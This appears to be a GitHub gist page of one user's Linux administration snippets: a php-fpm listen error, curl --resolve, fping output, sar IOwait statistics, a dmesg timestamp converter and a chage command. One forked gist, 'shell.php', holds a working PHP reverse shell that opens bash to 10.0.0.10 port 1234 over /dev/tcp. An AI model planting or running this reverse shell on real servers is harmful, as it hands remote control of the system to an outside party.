Skip to content

Instantly share code, notes, and snippets.

View pulketo's full-sized avatar

Pulketo pulketo

View GitHub Profile
@pulketo
pulketo / gist:ed367853085fef13133e3c29cc0b6fca
Created February 19, 2020 19:19
php-fpm getaddrinfo Name or service not known
Getting this error on: php-fpm*.log
[19-Feb-2020 13:14:52] ERROR: getaddrinfo: Name or service not known
[19-Feb-2020 13:14:52] ERROR: FPM initialization failed
------------------------
Happens to be coz: /etc/php/7.3/fpm/pool.d/www.conf
...
...
listen = :9000
...
@pulketo
pulketo / gist:6d57680be2250a18241aaf32f24da780
Created February 21, 2020 20:37
ssh_exchange_identification: read: Connection reset by peer
ssh_exchange_identification: read: Connection reset by peer
!! reboot !!
@pulketo
pulketo / gist:34807670fd0a4232f99c8c04243c8c61
Last active March 2, 2020 03:46
curl url even if domain doesn't exist yet on DNS or etc/hosts
curl -vk https://kueskomatl.pulque.ro/ --resolve kueskomatl.pulque.ro:443:104.154.161.254
fping $(cat lista)
172.xx.32.205 is alive
172.xx.32.203 is alive
172.xx.36.211 is alive
172.xx.36.208 is alive
172.xx.36.215 is alive
172.xx.36.213 is alive
172.xx.36.220 is alive
172.xx.20.218 is alive
172.xx.20.199 is alive
@pulketo
pulketo / shell.php
Created February 27, 2020 15:39 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@pulketo
pulketo / gist:34ae807ca89f575c6dc7a980c4f8e74e
Created February 27, 2020 22:44
Subscription management repos RHEL8
https://linuxconfig.org/enable-subscription-management-repositories-on-redhat-8-linux
@pulketo
pulketo / gist:ae692d0d63a543e11e0b695badc97417
Last active March 9, 2020 15:44
Cambiar renglones a columnas separaradas por comas
echo 'Esta
es
una
prueba
de
etc' | sed 's/^/\"/g' | tr '\n\' ','| sed 's/\,/\",/g'
@pulketo
pulketo / gist:192fa5217143b0745045e35899f81f50
Last active May 28, 2020 20:06
SAR linux statistics stats for alarms
por ejemplo tenémos esos días como días buenos (16,17,18,19,2x) en un horario de 22:30 a 23:50
la sexta columna de sar -p es IOwait.
*tomar en cuenta que el formato de hora de SAR varía de acuerdo al locale, así que si hay que forzar un locale:
LC_TIME=en_UK.utf8 sar ...
find /var/log/sa/202005/ -iname "sa16" -o -iname "sa17" -o -iname "sa18" -o -iname "sa19" -o -iname "sa2?" -exec sar -p -f {} \; |grep -e '^22:[3-5]' -e '^23:'| awk '{print $6}' | awk '{for(i=1;i<=NF;i++) {sum[i] += $i; sumsq[i] += ($i)^2}} END {for (i=1;i<=NF;i++) {printf "%f %f \n", sum[i]/NR, sqrt((sumsq[i]-sum[i]^2/NR)/NR)}}'
1.360417 1.324867
Dándo como resultado promedio(avg)=~1.36 y SD=~1.32
Por lo tanto todo lo que esté arriba de 1.36+1.32*2 o abajo de 1.36-1.32*2 se le consideraría estadísticamente anormal
@pulketo
pulketo / dmesg_human
Created August 2, 2020 15:29
dmesg convierte segundos a fecha (cred: https://stackoverflow.com/users/636849/lucas-cimon)
dmesg_human () { $(type -P dmesg) "$@" | perl -w -e 'use strict;
my ($uptime) = do { local @ARGV="/proc/uptime";<>}; ($uptime) = ($uptime =~ /^(\d+)\./);
foreach my $line (<>) {
printf( ($line=~/^\[\s*(\d+)\.\d+\](.+)/) ? ( "[%s]%s\n", scalar localtime(time - $uptime + $1), $2 ) : $line )
}'; }
// https://stackoverflow.com/questions/13890789/convert-dmesg-timestamp-to-custom-date-format
chage -I -1 -m 0 -M 99999 -E -1 username